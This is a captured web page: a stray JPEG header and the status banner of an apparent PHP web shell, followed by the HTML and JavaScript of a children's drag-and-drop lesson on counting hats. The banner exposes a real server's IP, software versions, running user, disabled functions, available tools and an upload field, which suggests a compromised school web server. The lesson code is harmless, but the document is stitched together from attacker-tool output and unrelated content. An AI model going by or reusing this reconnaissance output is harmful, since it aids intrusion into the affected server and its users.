????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelA/Category2/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<title>Count the hats and drag the number</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<script>
function page_preLoad()
{
s_setDeviceTypeLevelCategoryLastLesson(Level.A, Category.No2);
s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.A, Category.No2, 1), true, true);
s_setFooterTable('id_tblFooter', false, false, false, true, true);
var ids_boxes = ['id_box1', 'id_box2', 'id_box3', 'id_box4', 'id_box5'];
var ids_headings = ['id_td_heading1', 'id_td_heading2'];
var ids_options = ['id_span_1', 'id_span_2', 'id_span_3', 'id_span_4', 'id_span_5'];
var ids_All = ids_headings.concat(ids_boxes);
s_adjust_fontSize_for_ids_all_devices(ids_All, 80);
s_adjust_fontSize_for_ids_all_devices(ids_options, 120);
s_init_dropBox_tds_with_drag_here(ids_boxes);
s_init_dropping_spans(ids_options);
var id_tables_array = ['id_table1', 'id_table2'];
s_border_collapse_for_tables_except_android(id_tables_array);
s_setTablesHeightsForIE();
}
function page_onLoad()
{
}
function btnNext_click()
{
window.location = 'LevelACat2Lesson02.html';
}
function btnHome_click()
{
s_btnHomeCategories_click('LevelA');
}
function DragDrop(id_dropBox, ids_array)
{
if (s_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array))
{
s_setTextAndBackgroundColorToGreenAndIsMovedTrue(s_currentDropingId, id_dropBox);
isAllInfosMovedShowClapsAnimation();
s_set_currentDropingId_draggbleToFalse();
}
else
{
s_resetCurrentDroppingPosition(id_dropBox);
}
}
function isAllInfosMovedShowClapsAnimation()
{
var ids_boxes = ['id_box1', 'id_box2', 'id_box3', 'id_box4', 'id_box5'];
s_is_all_infos_filled_show_claps_animationWithIsFilled(ids_boxes);
}
</script>
</head>
<body onload="page_onLoad()">
<div id="s_id_div_message"></div>
<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" hieghtForIE="84%" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellpadding="2%" cellspacing="0">
<tr height="100%">
<td>
<table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr height="20%">
<td id="id_td_heading1" class="s_style_heading" style="padding-left:2%; border-left: 0px">
<span style="color: red">
-Learn to count till 5 meaningfully<br>
-Learn to sort out and categorize<br>
-Learn to discriminate and count<br><br>
</span>
Count the <span style="color: red">hats</span> and drag the number:
</td>
</tr>
<tr height="8%">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="*" id="id_td_heading2" class="s_style_heading_options">Options:</td>
<td id="id_td_5" width="16%" style="text-align: center" draggable="true" ondragstart="s_dragStartNew(event)"><span id="id_span_5" class="s_style_draggable_text">5</span></td>
<td id="id_td_2" width="16%" style="text-align: center" draggable="true" ondragstart="s_dragStartNew(event)"><span id="id_span_2" class="s_style_draggable_text">2</span></td>
<td id="id_td_1" width="16%" style="text-align: center" draggable="true" ondragstart="s_dragStartNew(event)"><span id="id_span_1" class="s_style_draggable_text">1</span></td>
<td id="id_td_4" width="16%" style="text-align: center" draggable="true" ondragstart="s_dragStartNew(event)"><span id="id_span_4" class="s_style_draggable_text">4</span></td>
<td id="id_td_3" width="16%" style="text-align: center" draggable="true" ondragstart="s_dragStartNew(event)"><span id="id_span_3" class="s_style_draggable_text">3</span></td>
</tr>
</table>
</td>
</tr>
<tr height="*" hieghtForIE="85%">
<td>
<table id="id_table2" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse; border-left:none; border-top:none; border-right:none; border-bottom:none">
<tr id="id_tr_1" height="20%"
ondragover="s_highlight('id_box1'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_box1')"
ondrop="DragDrop('id_box1', ['id_span_1'])">
<td width="70%" style="text-align: left">
<img id="id_imgCount1" src="../../../img/LevelA/Category2/LevelACat2Lesson01/hats1.png" width="20%" draggable="false">
</td>
<td id="id_box1" class="cls_box2 s_style_droppable_dash" width="*" style="text-align: center; border-right: 0px">__</td>
</tr>
<tr id="id_tr_2" height="22%"
ondragover="s_highlight('id_box2'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_box2')"
ondrop="DragDrop('id_box2', ['id_span_2'])">
<td width="70%" style="text-align: left">
<img id="id_imgCount2" src="../../../img/LevelA/Category2/LevelACat2Lesson01/hats2.png" width="40%" draggable="false">
</td>
<td id="id_box2" class="cls_box1 s_style_droppable_dash" width="*" style="text-align: center">__</td>
</tr>
<tr id="id_tr_3" height="20%"
ondragover="s_highlight('id_box3'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_box3')"
ondrop="DragDrop('id_box3', ['id_span_3'])">
<td width="70%" style="text-align: left">
<img id="id_imgCount3" src="../../../img/LevelA/Category2/LevelACat2Lesson01/hats3.png" width="60%" draggable="false">
</td>
<td id="id_box3" class="cls_box3 s_style_droppable_dash" width="*" style="text-align: center">__</td>
</tr>
<tr id="id_tr_4" height="*" hieghtForIE="20%"
ondragover="s_highlight('id_box4'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_box4')"
ondrop="DragDrop('id_box4', ['id_span_4'])">
<td width="70%" style="text-align: left">
<img id="id_imgCount4" src="../../../img/LevelA/Category2/LevelACat2Lesson01/hats4.png" width="80%" draggable="false">
</td>
<td id="id_box4" class="cls_box5 s_style_droppable_dash" width="*" style="text-align: center">__</td>
</tr>
<tr id="id_tr_5" height="20%"
ondragover="s_highlight('id_box5'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_box5')"
ondrop="DragDrop('id_box5', ['id_span_5'])">
<td width="70%" style="text-align: left">
<img id="id_imgCount5" src="../../../img/LevelA/Category2/LevelACat2Lesson01/hats5.png" width="100%" draggable="false">
</td>
<td id="id_box5" class="cls_box4 s_style_droppable_dash" width="*" style="text-align: center">__</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
new webkit_draggable('id_span_1', {handle : 'id_td_1', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_2', {handle : 'id_td_2', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_3', {handle : 'id_td_3', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_4', {handle : 'id_td_4', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_5', {handle : 'id_td_5', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
webkit_drop.add('id_tr_1', {onOver : function(){s_highlight('id_box1')}, onOut : function(){s_un_highlight('id_box1')}, onDrop : function(){DragDrop('id_box1', ['id_span_1'])}});
webkit_drop.add('id_tr_2', {onOver : function(){s_highlight('id_box2')}, onOut : function(){s_un_highlight('id_box2')}, onDrop : function(){DragDrop('id_box2', ['id_span_2'])}});
webkit_drop.add('id_tr_3', {onOver : function(){s_highlight('id_box3')}, onOut : function(){s_un_highlight('id_box3')}, onDrop : function(){DragDrop('id_box3', ['id_span_3'])}});
webkit_drop.add('id_tr_4', {onOver : function(){s_highlight('id_box4')}, onOut : function(){s_un_highlight('id_box4')}, onDrop : function(){DragDrop('id_box4', ['id_span_4'])}});
webkit_drop.add('id_tr_5', {onOver : function(){s_highlight('id_box5')}, onOut : function(){s_un_highlight('id_box5')}, onDrop : function(){DragDrop('id_box5', ['id_span_5'])}});
</script>
</body>
</html>